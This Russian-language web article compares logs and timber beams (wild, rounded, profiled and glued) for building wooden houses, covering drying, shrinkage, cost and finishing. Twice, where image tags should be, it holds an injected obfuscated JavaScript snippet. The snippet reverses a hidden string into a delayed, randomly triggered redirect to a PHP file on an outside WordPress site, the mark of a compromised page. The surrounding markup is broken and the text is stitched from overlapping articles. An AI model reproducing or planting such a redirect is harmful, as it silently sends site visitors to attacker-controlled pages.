Бревно или брус: что лучше для дома, что и когда выбрать, преимущества и недостатки каждого материала

Брус или все-таки бревно

Допустим, вы уже определились с тем, что ваш дом будет именно деревянным. Оба материала соответствуют этому пожеланию. Остановимся на том, как из бревна сделать брус.

По сути, эти материалы идентичны, но выглядят и выпилены они по-разному. Бревно – круглое, а брус имеет квадратное либо прямоугольное сечение.

По методу обработки можно выделить такие типы бревна, как:

«Дикое», то есть имеющее округлую форму и не обработанное специальными агрегатами. Свежеспиленный ствол своими руками очищают от веток, сучков и коры.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovoe-k-obrabotke.jpg» alt=»«Дикое» бревно, готовое к обработке» width=»567″ height=»472″ /> «Дикое» бревно, готовое к обработке

«Оцилиндрованное» бревно получают, пропуская ствол через станок, который придает им идеальный, изначально заданный диаметр по всей длине.

Оцилиндрованная балка

Брусья, изготовленные из бревен, делятся на следующие типы:

профилированный брус – это цельный ствол, пропущенный через станок, который придает ему идеально прямоугольную форму.

Профилированный брус после обработки

клееный брус – готовая балка не отличается формой от профилированного, однако имеет большую прочность в силу проклеивания в нескольких плоскостях.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovaya-k-primeneniyu-600×480.jpg» alt=»Клееная перекладина, готовая к применению» width=»600″ height=»480″ /> Клееная перекладина, готовая к применению

Калькулятор для расчета количества бруса

Длина стен

Ширина стен

Высота стен

Сечение бруса

150х150 мм.180х180 мм.200х200 мм.

Длина бруса

5 м.6 м.7 м.8 м.9 м.10 м.11 м.12 м.

Менее распространенные виды материала

Клееный оцилиндрованный брус, ведь бывает же такое

Следует отметить, что кроме вышеперечисленных и наиболее часто встречаемых на рынке видов материала, вы можете найти в продаже и более сложные, не типовые деревянные стройматериалы.

Если ваш проект претендует на оригинальность, а не сугубо на функционал, то поинтересуйтесь у поставщиков и, возможно, для вас найдется нечто своеобразное.

Совершая окончательный выбор материала, мы советуем обратить внимание на следующие нюансы:

сложность возводимой постройки (к примеру, если конструкция усложнена, проще будет работать с брусом);
условия пользования постройкой (баня из бревна или из бруса – пожалуй, самый сложный выбор, ведь у каждого материала есть свои недостатки);
время, отводимое на строительство (здесь уж наверняка брус даст фору бревну);
какие отделочные материалы планируется использовать;
в какой климатической зоне ведется постройка (бревенчатый дом значительно теплее).

Подробнее о принципиальных различиях материалов вы можете узнать из видео в этой статье, а сейчас мы произведем сравнительную характеристику материалов по ключевым пунктам.

Дома из бруса

Брус имеет квадратную или прямоугольную форму. Это и обуславливает основные достоинства этого строительного материала — быстроту и легкость возведения стен, возможность возводить постройки любой сложности. Стены из бруса ровные, в отличие от стен из бревна, что облегчает их отделку. Снаружи обшить строение из бруса можно сайдингом или блок-хаусом, который несколько дороже, но придает и строению более дорогой вид. Рассмотрим подробнее разновидности домов из бруса.

Дома из пиленого бруса

Брус обычной формы изготавливается в заводских условиях и подвергается минимальной обработке. Строительство домов из такого бруса требует дополнительного утепления, так как продуваемость возведенной конструкции довольно высокая.

Толщина бруса для дома с постоянным проживанием выбирается в пределах 150 мм. Термин «заводские условия» здесь достаточно условен, так как производством такого бруса может заниматься любая пилорама. Поэтому такой материал является самым распространенным, цена на него остается сравнительно низкой, но и качество может изменяться в широких пределах.

Дома из профилированного бруса

Профилированный сухой брус более технологичный материал, он не требует дополнительного утепления. Наличие пазов и шипов обеспечивает плотное примыкание бревен друг к другу. Поэтому из-за своего привлекательного внешнего вида дома из профилированного бруса не требуют внешней, а иногда и внутренней отделки. Строительство домов из такого бруса стоит меньше по сравнению с домами из клееного бруса или кирпича.

Минусом домов из профилированного бруса, как и у обычного пиленого бруса, является подверженность усадке, образованию трещин и короблению.

Дома из клееного бруса

Более высокая прочность у домов из клееного бруса. Клееный брус представляет самой набор деревянных ламелей, склеенных в пирог из нескольких штук. Для изготовления ламелей используются деревья хвойных пород, которые высушиваются и собираются на водостойкой смоле. Такой материал имеет высокую устойчивость к неблагоприятным условиям окружающей среды.

Кроме того, клееный брус дает минимальную усадку и меньше растрескивается, что позволяет производить внутреннюю отделку практически сразу после возведения коробки дома.

Технология строительства домов из бруса достаточно проста. Для строительства используется сравнительно недорогой ленточный фундамент или буронабивной фундамент с монолитным ростверком. Собираются стены домов из бруса двумя способами: «в лапу» и «в обло». Соединение в лапу предполагает отсутствие выступающих элементов в угловых соединениях. Благодаря этому сруб имеет более аккуратный внешний вид и материалы для строительства используются более рационально.

Срок службы домов из бруса при правильной технологии монтажа может превышать 50 лет. Напротив, при нарушениях технологии, неправильном выборе фундамента или просчетах в других конструкциях дома, может начаться гниение и разрушение дома, что приведет к скорому выходу его из строя.

Для наглядности предлагаем посмотреть видео о строительстве дома из бруса.

Профилированный брус: изготовление и особенности

Качество готового бруса, в основном, зависит от его профилирования – процесса довольно сложного. Используется два метода изготовления: строгание и фрезерование.

При использовании строгания, сначала древесина распиливается на пилорамном станке. Затем производится роспуск на лафете с учетом нужных размеров. Далее древесина обстругивается со всех сторон, в результате выходит профилированный брус, фото ниже позволит понять, как он должен выглядеть.

Перед профилированием заготовки тщательно шлифуютсяИсточник optolov.ru

Для профилирования бруса используется пилорамное оборудование или фрезеровочный станок. Если станок для фрезеровки универсальный, то он выполняет весь цикл обрабатывания материала. Процесс может стать сложнее, если вместо одного станка, применяется ряд оборудования, так все устройства должны удобно совмещаться.

Поперечное сечение профилированного бруса выполняется нескольких видов: 10х10 см; 10х5 см; 15х15 см; 15х20 см; 20х20 см. Стандартной и наибольшей длиной считается 6 метров. Нестандартные величины могут быть любые – все зависит от производителя и продавца.

К особенностям профилированного бруса относится:

надежность соединений, исключающих зазоры и щели;
быстрое возведение построек, максимум 2 месяца;
экономичный фундамент;
небольшой процент усадки;
прекрасный внешний и внутренний вид;
невысокая стоимость.

Брус профилированный требует специальных пропиток, так как может подвергаться влиянию погодных условий и является горючим материалом.

В продажу поступает материал естественной сушки, влажность которого обычно составляет от 22 до 30%, и брус, высушенный в предназначенных для этой цели камерах, с влажностью, не превышающей 20%.

Видео описание

О минусах клееного бруса смотрите в видеоролике:

Усадка материала, высушенного в естественных условиях, около 10%, поэтому при строительстве нужен перерыв в 6 месяцев на время усадки стен. При применении материала, прошедшего сушку в термокамере, перерыва не требуется.

Какой брус лучше: клееный или профилированный

Если сравнивать какой брус лучше – профилированный или клееный, то первый материал экономически выгоднее второго, но уступает по степени деформации. К тому же, клееный брус является более прихотливым. Если его производство осуществлялось на плохом оборудовании, плюс, применялся клей низкого качества, то при использовании возможно расслаивание, появление щелей, утрата прочности.

Наглядное сравнение материалов в следующей таблице:

Параметр	Клееный брус	Профилированный брус
Сырье	Доски из массива, склеенные под давлением	Цельный массив древесины
Сушка	В камере	В камере или естественным путем
Размеры	Сечение макс. 275х275 ммДлина макс. – 18 м погонных	Сечение макс. 200х200 ммДлина макс. – 6 м погонных
Экологичность	Зависит от клеящих веществ. У качественного клея в пределах нормы.	Не имеет вредных веществ
Воздухообмен	Нарушен	Естественный
Влажность	11-14%	15-18%
Усадка	0,4-1%	до 8%
Прочность	Высокая	Низкая
Деформация	Зависит от склеивания	Не больше 1 мм
Биологическая устойчивость	Высокая	Высокая
Пожарная безопасность	Высокая	Средняя
Эстетичность	Высокая	Встречаются сучки и пятна
Отделка	По окончанию строительства	Через 6-12 месяцев
Потеря свойств при использовании	Нет	Могут появиться трещины
Цена	Высокая	На 30% меньше
Вероятность подделки	Невысокая	Высокая

Видео описание

Планируете строительство загородного дома и не можете определиться из какого материала строить?Мы расскажем о домах из клеенного бруса, раскроем особенности и технологии строительства.Также приведем порядок цен на дом из клеенного бруса под ключ:

Заключение

Однозначно определить что лучше, клееный брус или профилированный брус, вряд ли получится. Каждый выбирает для себя материал исходя из собственных предпочтений и текущих потребностей.

Строительство домов из бревна и бруса

Начнём со сравнения материалов, не обработанных дополнительно, то есть цельного бревна и простого бруса. Бревенчатые дома возводили на Руси с незапамятных времён, а некоторые умельцы делали это «без единого гвоздя». Обычный брус изготавливают из брёвен отпиливанием их кантов с четырёх сторон, в результате сечение становится квадратным. Дома из обоих стройматериалов требуют внутренней и внешней отделки. С одной стороны, это минус, так как к смете добавляются расходы на облицовочные материалы. С другой стороны, вы можете проявить фантазию и воплотить в жизнь смелые дизайнерские решения. Дома из бруса и бревна в их необработанном варианте обойдутся вам дешевле, чем строения из более современных материалов. Купить бревно и брус вы сможете без труда недалеко от места будущей стройки, однако не забудьте просчитать стоимость дополнительной отделки. Сравним цельное бревно и простой брус по нескольким критериям.

Цена. Бревно – наиболее дешёвый строительный материал из дерева, потому что его изготовление не требует больших затрат. Брус обойдётся несколько дороже.
Сложность укладки. Бревно имеет форму конуса. При укладке нужно чередовать «основания» и «кроны», вырубать пазы, это требует особых знаний и умений. Толщина бруса одинакова, поэтому работать с ним проще.
Сроки строительства. Здания из бруса возводятся довольно быстро. Бревенчатый дом строится дольше, из-за неправильной формы брёвен их нужно тщательно подбирать одно к другому.
Сохранение тепла. Бревно полностью сохраняет природную структуру дерева. Оно толще и хранит тепло лучше бруса. С другой стороны, круглая форма бревна позволяет накапливаться влаге, что постепенно снижает его способность сохранять тепло.
Усадка. У бруса она небольшая (3-5%), но после усушки появляются трещины. Усадка бревна гораздо больше (до 12%), её срок довольно долгий – до двух лет. Трещины тоже образуются, но в меньшем количестве, чем на брусе.
Конопатка. В процессе усушки между брёвнами появляются щели, которые необходимо повторно проконопатить. Брус тоже трескается, хотя и меньше, повторная конопатка нужна.
Срок службы. Строения из обоих материалов прослужат долго. Но брус и бревно гниют, поражаются грибками, поэтому требуют обязательной обработки. Кроме того, между брёвнами плесень и грибок размножаются особенно активно, поэтому брус несколько долговечнее.
Отделка. Облицовка бревна – более сложный процесс, нужно следить, чтобы крепления обрешётки не попали в пространство между брёвнами. Отделку строений из бруса производить гораздо легче, потому что стены имеют ровную поверхность.
Сопротивляемость внешней среде. Оба материала подвержены гниению, поражаются грибком, постепенно сереют. Брус подвергается внешнему воздействию сильнее бревна, потому что у него отсутствует природный защитный слой, пропитанный смолой. Брус и бревно нуждаются в антисептической обработке и облицовке.

Кроме того, есть категория современных стройматериалов, не требующих дополнительной отделки. Каждый из них имеет свои преимущества и недостатки, которые мы сейчас рассмотрим.

Что лучше выбрать

Выбор зависит от предпочтений хозяина

Материал выбирают с учетом множества факторов. Решающим является мнение застройщика, т. к. только он может сказать, какой стиль строения ему нужен на участке.

Кроме этого учитывают обстоятельства:

материальная сторона вопроса с учетом не только возведения, но и дополнительной конопатки, обшивки;
требуемая скорость строительства;
тип строения (жилье для постоянного жительства, временный летний домик, беседка, хозпостройки).

Тип постройки определяет толщину стен и теплозащитные свойства материала, возможно, потребуется установка дополнительного изолирующего слоя. Играет роль и время ожидания окончательной отделки, которое зависит от степени и периода усадки.

Брус и каркас: разновидности и качество материала

Чтобы построить практичное и современное жилье, следует обратить пристальное внимание на материал

Брус

В строительстве используют несколько видов бруса, первые два рекомендуются для дачных построек:

Обычный (массивный). Получается после минимальной обработки сырого бревна на деревообрабатывающем станке, где ему задается сечение (квадратное или прямоугольное). Влажность изделия может превышать 20-30%.
Цельный профилированный. Деревянным заготовкам придают более сложную форму профиля (система шип-паз, позволяющая жестко соединять элементы конструкции).
Клееный. Влажность заготовок (доски-ламели из древесины хвойных пород) уменьшают до 10-12% в сушильной камере. Затем ламели подбираются по качеству (внешние могут быть из лиственницы, внутренние — из сосны) и склеиваются под давлением.

Каркасная технология

В основе конструкции лежит каркас, деревянный (из пиломатериала камерной сушки), металлический или сэндвич-панели. Каркас заполняется утеплителем (эковатой, пенополистиролом, минеральной ватой) и зашивается фанерой, цементно-стружечными или ориентированно-стружечными плитами.

Доска в промышленной сушильной камереИсточник ostwest.su

О качестве древесины

Качество пиломатериалов — качество постройки, поэтому их выбирают тщательно. На рынке представлены материалы, произведенные как из сырой, так и из просушенной древесины.

Пиломатериал естественной влажности (ЕВ) — популярный вариант. Он проходит минимальную обработку (требует минимальных вложений) и потому дешев. В этом заключается его основное достоинство.

Брус и доску ЕВ часто применяют в современном строительстве (соответственно брусового и каркасного дома). Естественные процессы, происходящие в сырой древесине, приводят к неприятным последствиям:

Усушка ( усадка ) . После того, как стены из массивного бруса собраны, они будут терять ЕВ и уменьшаться в размерах. Такая особенность делает необходимым технологический перерыв в строительстве (минимум на месяц – два). Стены из клееного бруса дают минимальную усадку. Использование сырого материала для каркасника приведет к неравномерному изменению размеров досок (усадка у всех досок отличается, сильнее она идет по толщине и ширине). В местах стыка брусьев не могут появляться трещины, так как используется специальное крепление “сила”
Био-атака. Плесень и грибки прекрасно себя чувствуют в пиломатериале ЕВ. Если сырые стены не оставить сушиться, а сразу начать утепление, влага задержится и создаст идеальную среду для развития микроорганизмов.
Изменение геометрии. Касается досок. В процессе высыхания в древесине появляются внутренние напряжения; доска может выгнуться, перекоситься или перекрутиться. Это происходит не только при сушке в штабеле (на воздухе); стойки в готовом каркасе может выкрутить до появления щели.

Величина растрескивания зависит от качества просушки брусаИсточник stroyka.ru

В стоимость качественного пиломатериала включается обработка антисептиком; часто пропитка происходит под давлением, что обеспечивает глубокое проникновение смеси в древесину. Такой способ неприменим для влажной древесины; ручная обработка ее поверхности затрагивает только поверхностный слой и не эффективно защищает от гнили. Важным вопросом является правильное хранение; клееный брус будет безвозвратно испорчен, если его оставить на зиму на строительной площадке.

Особенности материалов

Оцилиндрованное бревно со временем может дать трещины

Древесина обладает следующими особенностями:

приятная для взора поверхность;
презентабельность, создание ощущения роскоши и патриархальности;
низкая теплопроводность;
гигроскопичность;
склонность к усыханию;
подверженность гниению, грибку и плесени;
утрата цвета и прочности под влиянием ультрафиолета;
высокая пожарная опасность;
подверженность массивных ламелей трещинам.

Древесина имеет довольно противоречивые свойства, но часть негативного перечня можно существенно сократить или свести их влияние к минимуму.

Оцилиндрованное бревно: плюсы и минусы

Оцилиндрованное бревно отличается от просто обтесанного тем, что обработка древесного ствола осуществляется на специальном оборудовании, обеспечивающем снятие до 10 мм приповерхностного слоя и получение идеально гладкой «товарной» поверхности. Кроме этого, в бревне делаются выборки древесины (серповидная – для плотного укладывания бревен друг на друга в стенах и замковая – для обеспечения соединения бревен в угловом стыке стен). Загородные дома и дачные строения, выполненные из оцилиндрованных бревен, выглядят очень привлекательно. Объясняется это двумя причинами:

в общественном сознании укоренился приевшийся стереотип стандартного архитектурного стиля в жилищном строительстве с его плоскими и геометрически строгими поверхностями. На этом фоне стена из бревен выглядит эксклюзивной данью седой старине с ее «хоромами и палатами»;
в наше время, насыщенное множеством факторов нарушения экологии, жилище из оцилиндрованных бревен является, условно говоря, эталоном экологичности.

К достоинствам оцилиндрованного бревна, как строительного материала, можно отнести:

широкую распространенность – это делает ОБ легко доступным, предоставляет возможность тщательного выбора по качеству и состоянию древесины;
эстетичный вид натурального древесного материала, открывающий очень большие возможности для дизайнерской фантазии при проектировании жилого дома;
высокая строительная прочность, позволяющая использовать ОБ в качестве несущего конструктивного материала в балках, подпорах и т.п.;
высокая долговечность строения, при условии выполнения мероприятий по защите древесины от поражения грибком и избыточной влаги;
относительная простота возведения строения, в большинстве операций которого не требуется привлечение специальной строительной техники
относительно невысокая стоимость ОБ делает его более доступным для жилищного строительства.

К недостаткам оцилиндрованного бревна относят:

подверженность ОБ процессам усадки, которые могут длиться от нескольких месяцев до года;
для обеспечения непроницаемости стен прилегающие поверхности смежных бревен необходимо тщательно заделывать межвенцовым утеплителем, что делать трудно на криволинейных поверхностях;
в процессе усадки и усушки на поверхности ОБ могут возникать заметные трещины, нуждающиеся в заделке;
ОБ требует защитной обработки защитными средствами от поражения грибком.

Сушить или не сушить

Из школьного курса биологии многие знакомы с фактом, что дереву для жизни нужна вода, которая через корни с растворенными в ней минеральными солями поступает по стволу к листьям и обеспечивает процесс фотосинтеза. Во время заготовки эта жидкость никуда не девается, свежесрубленная древесина может иметь показатель абсолютной влажности на уровне 50 – 100%. Соответственно и брус, который получают из этого лесоматериала, обладает такой же высокой влажностью. Для строительства это совсем не нужно, так как из элементов готовой конструкции вся эта влага будет активно испаряться. В процессе изменения уровня влажности брус будет менять свою форму, его может вести и коробить (возникает стрела прогиба).

Если при этом конструкция из такого бруса является стеной дома, то геометрия всей постройки может серьезно меняться. Такой процесс называется усадкой, чтобы свести её к минимуму в строительстве используют только материал с уровнем влажности не более 20%. Рассмотрим основные разновидности бруса в зависимости от процентной доли воды.

Брус, который в ходе просушки перекосился на одну сторону, называют коромыслом, а выгнутый – винтом.

Естественная влажность – это такой показатель содержания воды в древесине, который был на момент изготовления пиломатериала. Брус естественной влажности не подвергают никаким специальным процедурам по просушке, зачастую такой материал может содержаться в условиях мокрого хранения, т.е. открытый для попадания осадков. Естественная влажность превышает показатель в 20%, поэтому сразу строить из такого материала нельзя, предварительно его подвергают просушке. Основное преимущество таких изделий – низкая цена по сравнению с «сухими».

Изделия естественной влажности подразделяются на зимние и летние. Зимние заготавливают в холодный период, когда движение соков от корней по стволу прекращается. Брус, заготовленный в теплое время года, обычно обладает большим показателем влажности.

Сухой брус получается в результате просушки. Содержание влаги в таких изделиях составляет от 10 до 20%. Сушат изделия на производстве естественным (атмосферным) способом или с помощью сушильных камер. Брус естественной просушки часто путают с изделиями естественной влажности. Однако материал, прошедший естественную просушку, обычно содержит 15 – 20% воды. Атмосферная сушка может осуществляться и собственными силами, для этого пиломатериал укладывается штабелями, с помощью поперечных реек между изделиями устанавливается зазор для циркуляции воздуха. Сушильный пакет защищается от осадков. Вся процедура занимает от одного месяца до полугода. В сушильной камере процесс идет значительно быстрее, в замкнутом пространстве изделия подвергаются температурному воздействию.

Слишком низкая влажность также не соответствует строительным требованиям. При показателях ниже 7 – 8 % существует опасность появления трещин на материале, к тому же сухие изделия сразу становятся более гигроскопичными (впитывают больше воды).

Камера для просушки пиломатериалов На пересушенной древесине могут появляться трещины

Высокотехнологичный брус или классическое бревно — что лучше для сооружения деревянного дома

Озадачившись строительством сооружения из древесины, следует ознакомиться с номенклатурой заготовительного сырья. Именно вид последнего предопределяет принципы технологии строительства и окончательную себестоимость вопроса. Распространены следующие виды пиломатериалов:

клееные заготовки;
оцилиндрованное бревно;
профилированный брус;
простое бревно;
обрезной брус.

Проведя анализ поставленной задачи с эстетической стороны, становится очевидным, что сруб в классическом старорусском стиле смотрится куда изысканнее, нежели дом из пиломатериала стандартной формы. Развязать коренную неопределенность в вопросе, что лучше выбрать из предложенных видов бруса или бревна, становится возможным только после подробного изучения преимуществ и недостатков каждого.

Преимущества и недостатки разных видов бревна, используемых при жилом строительстве

Бревно – один из наиболее популярных строительных материалов на территории современной России. Дома из такого материала получаются добротными, уютными, теплыми и красивыми, а еще не требуют ни одного гвоздя. За счет высокой популярности строительства из бревна, производители строительных материалов предлагают несколько разновидностей бревен. Рассмотрим их основные преимущества и недостатки.

Дома из рубленного бревна. Подобные здания обладают отличной теплоизоляцией, они надежны и долговечны. Однако они обладают очень длительным сроком высушивания – из-за ручной обработки усадка сруба займет огромное количество времени. Обработка материала рубанком, его калибровка и подгонка осуществляются вручную, что существенно повысит стоимость застройки.
Дома из оцилиндрованного бревна. Представленный материал более популярен – это бюджетная вариация рубленного бревна, процесс производства которого максимально автоматизирован. Бревна получаются ровными и гладкими, готовыми к строительным работам. Безусловным преимуществом является приятная цена (меньше предыдущего варианта на треть), эстетичность, оперативность сборки. Стены без зазоров и щелей обладают высокими теплоизоляционными свойствами. Однако оцилиндрованное бревно демонстрирует плохую устойчивость к внешним условиям окружающей среды – с него снимается важный защитный слой.

Учитывайте представленную информацию при выборе строительного материала.

Оцилиндрованное бревно

Оцилиндрованные брёвна одного диаметра, правильной цилиндрической формы получают на оцилиндровочных станках. Для этого их сортируют по толщине для уменьшения отходов. Специальный станок снимает лишние сантиметры, подгоняя брёвна под один диаметр. После оцилиндровки на фрезерном станке выбирают монтажный паз. Преимущества оцилиндровки очевидны: унифицированные размеры облегчают работу над соединениями в срубе. Мастера изготавливают шаблон и по нему быстро делают замки и соединения.

Преимущества оцилиндрованного бревна:

эстетический внешний вид;
стандартные размеры;
ускоренное возведение домов по сравнению с диким срубом.

Технологичность возведения коттеджей из оцилиндрованных брёвен позволяет создавать индивидуальные проекты, собрать дом в одном месте, а потом разобрать и перевезти в разобранном виде на строительную площадку. Пронумеровав все брёвна в коробке дома, их потом собирают рабочие на новом месте строительства.

Недостатки у оцилиндрованных те же самые что и у обычных брёвен:

усыхают и меняют свои геометрические размеры;
при сушке брёвна могут покоробиться и растрескаться;
при этом дорогие по сравнению с обыкновенным бревном.

Удорожание связано с дополнительными технологическими операциями, затратами на транспортирование с верхнего или нижнего склада на производство, зарплата рабочим, налоги и т. п.

В домах построенных из оцилиндрованных брёвен затруднена шлифовка поверхности возле замков и соединений. Поэтому, если застройщик планирует дизайн комнаты под цвет естественной древесины, оцилиндрованные брёвна необходимо шлифовать перед установкой в сруб.

Оцилиндрованное бревно

Подробное сравнение: бревно или брус — что лучше для дома?